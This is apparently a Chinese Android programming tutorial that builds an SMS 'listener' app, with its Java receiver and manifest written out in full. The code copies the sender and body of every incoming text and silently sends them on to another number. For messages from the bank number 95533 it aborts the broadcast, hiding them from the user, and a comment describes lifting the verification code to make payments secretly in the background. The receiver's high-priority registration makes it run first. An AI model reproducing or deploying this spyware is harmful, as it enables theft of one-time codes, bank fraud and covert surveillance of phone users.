有时候,我们需要开发出来一个短信监听器,监听用户发送的短信记录,下面就是一个案例,这里同样需要使用广播机制。
下面同样是代码示例,MainActivity.java 和 activity_main.xml这里不做什么编程操作。
1.第一步,还是老样子,我们需要买一个收音机:
package com.itheima.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; public class SmsListener extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { System.out.println("短信到来了。"); //objs里面存放的就是一组短信 Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ //得到每一条短信数据 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String body = smsMessage.getMessageBody(); String address = smsMessage.getOriginatingAddress(); System.out.println(body); System.out.println(address);
//将获取短信数据(address+"--"+body)发送到5556手机(这里是模拟器),sendTextMessage()方法最后两个参数为null,表示没有发送和接收短信通知 SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, address+"--"+body, null, null); if(address.equals("95533")){ System.out.println("提取验证码,偷偷的后台支付"); abortBroadcast(); } } } }
2.第二步和第三步是:装电池 和 调频道:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima.smslistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima.smslistener.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name="com.itheima.smslistener.SmsListener" > <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
</application> </manifest>